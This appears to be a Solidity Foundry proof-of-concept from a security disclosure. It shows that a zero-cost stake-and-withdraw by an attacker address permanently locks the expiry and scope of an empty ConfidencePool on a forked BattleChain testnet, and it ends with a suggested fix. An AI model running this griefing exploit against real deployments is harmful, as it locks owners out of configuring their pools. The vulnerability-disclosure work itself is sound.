This PoC uses a BattleChain testnet fork with the live Safe Harbor AgreementFactory and AttackRegistry. No mock agreement or mock registry is used.
pragma solidity 0.8.26;
import {Test, console2} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {
AgreementDetails,
Contact,
Chain as BCChain,
Account as BCAccount,
ChildContractScope,
BountyTerms,
IdentityRequirements
} from "@battlechain/types/AgreementTypes.sol";
contract TestERC20 is ERC20 {
constructor() ERC20("T", "T") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
}
interface ILiveAgreementFactory {
function create(AgreementDetails memory details, address owner, bytes32 salt) external returns (address);
function isAgreementContract(address agreement) external view returns (bool);
}
interface ILiveAgreement {
function isContractInScope(address account) external view returns (bool);
function extendCommitmentWindow(uint256 t) external;
}
interface ILiveAttackRegistry {
function requestUnderAttackForUnverifiedContracts(address agreement) external;
function getAgreementState(address agreement) external view returns (uint8);
}
contract W61ZeroCostFreezeRealForkTest is Test {
address constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address constant AGREEMENT_FACTORY = 0x2Bee2970f10FDc2aeA28662BB6F6A501278Ebd46;
address constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address recovery = makeAddr("recovery");
address accountA = makeAddr("freshAccountA");
address accountB = makeAddr("freshAccountB");
function test_realFork_zeroCostStakeWithdrawLocksEmptyPoolExpiryAndScope() external {
vm.createSelectFork(vm.envString("BATTLECHAIN_TESTNET_RPC"));
ILiveAgreementFactory agreementFactory = ILiveAgreementFactory(AGREEMENT_FACTORY);
ILiveAttackRegistry attackRegistry = ILiveAttackRegistry(ATTACK_REGISTRY);
address agreement = _newAgreement(agreementFactory, owner, accountA, accountB);
vm.prank(owner);
ILiveAgreement(agreement).extendCommitmentWindow(block.timestamp + 8 days);
vm.prank(owner);
attackRegistry.requestUnderAttackForUnverifiedContracts(agreement);
assertEq(attackRegistry.getAgreementState(agreement), 2);
ConfidencePool poolImpl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ConfidencePoolFactory poolFactory = ConfidencePoolFactory(address(new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(poolImpl), makeAddr("moderator")))
)));
TestERC20 token = new TestERC20();
poolFactory.setStakeTokenAllowed(address(token), true);
address[] memory scope = new address[](1);
scope[0] = accountA;
vm.prank(owner);
ConfidencePool pool = ConfidencePool(poolFactory.createPool(
agreement,
address(token),
block.timestamp + 45 days,
1 ether,
recovery,
scope
));
uint256 originalExpiry = pool.expiry();
assertFalse(pool.expiryLocked());
assertFalse(pool.scopeLocked());
token.mint(attacker, 1 ether);
vm.startPrank(attacker);
token.approve(address(pool), 1 ether);
pool.stake(1 ether);
pool.withdraw();
vm.stopPrank();
console2.log("poolTotalEligibleStake", pool.totalEligibleStake());
console2.log("poolBalance", token.balanceOf(address(pool)));
console2.log("attackerBalance", token.balanceOf(attacker));
console2.log("expiryLocked", pool.expiryLocked() ? 1 : 0);
console2.log("scopeLocked", pool.scopeLocked() ? 1 : 0);
assertEq(pool.totalEligibleStake(), 0);
assertEq(token.balanceOf(address(pool)), 0);
assertEq(token.balanceOf(attacker), 1 ether);
assertTrue(pool.expiryLocked());
assertTrue(pool.scopeLocked());
vm.expectRevert(IConfidencePool.ExpiryLocked.selector);
vm.prank(owner);
pool.setExpiry(originalExpiry + 10 days);
address[] memory updatedScope = new address[](1);
updatedScope[0] = accountB;
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
vm.prank(owner);
pool.setPoolScope(updatedScope);
}
function _newAgreement(ILiveAgreementFactory agreementFactory, address owner_, address a, address b) internal returns (address) {
Contact[] memory contacts = new Contact[](1);
contacts[0] = Contact("owner", "x@y.z");
BCAccount[] memory accounts = new BCAccount[](2);
accounts[0] = BCAccount(_hex(a), ChildContractScope.None);
accounts[1] = BCAccount(_hex(b), ChildContractScope.None);
BCChain[] memory chains = new BCChain[](1);
chains[0] = BCChain(_hex(owner_), accounts, "eip155:627");
AgreementDetails memory details = AgreementDetails({
protocolName: "W61",
contactDetails: contacts,
chains: chains,
bountyTerms: BountyTerms(10, 100_000, true, IdentityRequirements.Anonymous, "", 0),
agreementURI: "ipfs://w61"
});
vm.prank(owner_);
address agreement = agreementFactory.create(details, owner_, keccak256(abi.encode("w61", block.timestamp, a)));
assertTrue(agreementFactory.isAgreementContract(agreement));
assertTrue(ILiveAgreement(agreement).isContractInScope(a));
assertTrue(ILiveAgreement(agreement).isContractInScope(b));
return agreement;
}
function _hex(address a) internal pure returns (string memory) {
bytes16 syms = "0123456789abcdef";
bytes memory out = new bytes(42);
out[0] = "0";
out[1] = "x";
uint160 v = uint160(a);
for (uint256 i; i < 20; i++) {
uint8 by = uint8(v >> (8 * (19 - i)));
out[2 + i * 2] = syms[by >> 4];
out[3 + i * 2] = syms[by & 0xf];
}
return string(out);
}
}
Do not let an empty pool remain expiry/scope locked solely because a fully withdrawn first stake touched the pool. One option is to reset the latches when the last stake exits before any risk window is observed.